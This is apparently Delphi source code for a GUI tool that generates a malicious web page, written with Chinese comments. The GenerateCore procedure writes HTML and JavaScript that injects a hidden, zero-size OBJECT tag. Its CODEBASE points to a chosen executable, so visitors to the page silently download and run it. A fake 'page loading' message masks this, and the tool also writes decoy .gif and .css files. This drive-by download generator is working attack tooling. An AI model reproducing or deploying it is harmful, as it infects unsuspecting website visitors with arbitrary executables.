📄 unit1.~pas
字号:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Buttons,FileCtrl, WinSkinData;
type
TForm1 = class(TForm)
Label1: TLabel;
Edit1: TEdit;
Label2: TLabel;
Edit2: TEdit;
Edit3: TEdit;
Label3: TLabel;
BitBtn1: TBitBtn;
BitBtn2: TBitBtn;
BitBtn3: TBitBtn;
OpenDialog1: TOpenDialog;
SaveDialog1: TSaveDialog;
Memo1: TMemo;
GroupBox1: TGroupBox;
Label4: TLabel;
Label5: TLabel;
procedure BitBtn2Click(Sender: TObject);
procedure BitBtn1Click(Sender: TObject);
procedure BitBtn3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
procedure GenerateCore(dfilename:string);
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.GenerateCore(dfilename:string);
var
html:string;
dpath:string;
begin
html:='';
html:=html+'<script language="javascript"> '+#13#10;
html:=html+'run_exe="<OBJECT ID=\"RUNIT\" WIDTH=0 HEIGHT=0 TYPE=\"application/x-oleobject\""'+#13#10;
html:=html+'run_exe+="CODEBASE=\"'+dfilename+'#version=1,1,1,1\">" '+#13#10;
html:=html+'run_exe+="<PARAM NAME=\"_Version\" value=\"65536\">"'+#13#10;
html:=html+'run_exe+="</OBJECT>"'+#13#10;
html:=html+'run_exe+="<HTML><H1>网页加载中,请稍后....</H1></HTML>";'+#13#10;
html:=html+'document.open();'+#13#10;
html:=html+'document.clear();'+#13#10;
html:=html+'document.writeln(run_exe);'+#13#10;
html:=html+'document.close();'+#13#10;
html:=html+'</script> ';
dpath:=edit3.Text+'\'+edit2.Text +'.html';
memo1.Lines.Clear;
memo1.Lines.Add(html);
memo1.Lines.SaveToFile(dpath);
dpath:=edit3.Text+'\'+'bbs00302.gif';
memo1.Lines.Clear;
memo1.Lines.SaveToFile(dpath);
dpath:=edit3.Text+'\'+'bbs00302.css';
memo1.Lines.Clear;
memo1.Lines.Add('this can not be show in the dos model');
memo1.Lines.SaveToFile(dpath);
end;
procedure TForm1.BitBtn2Click(Sender: TObject);
var
strCaption,strDirectory:String;
wstrRoot:WideString;
begin
strCaption:=' 请选择生成目录';
// 该参数是浏览文件夹窗口的显示说明部分
wstrRoot:='';
// 这个参数表示所显示的浏览文件夹窗口中的根目录,默认或空表示“我的电脑”。
SelectDirectory(strCaption,wstrRoot,strDirectory);
edit3.Text :=strDirectory;
// 传递结果,其中参数 strDirectory 表示函数的返回值
edit3.Refresh ;
end;
procedure TForm1.BitBtn1Click(Sender: TObject);
begin
try
if opendialog1.Execute then
begin
edit1.Text :=opendialog1.FileName;
end;
except
end;
end;
procedure TForm1.BitBtn3Click(Sender: TObject);
begin
if trim(edit1.Text)='' then
begin
showmessage('请选择文件');
exit;
end;
if trim(edit2.Text)='' then
begin
showmessage('请选择文件');
exit;
end;
if trim(edit3.Text)='' then
begin
showmessage('请选择目录');
exit;
end;
GenerateCore(extractfilename(edit1.Text) );
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -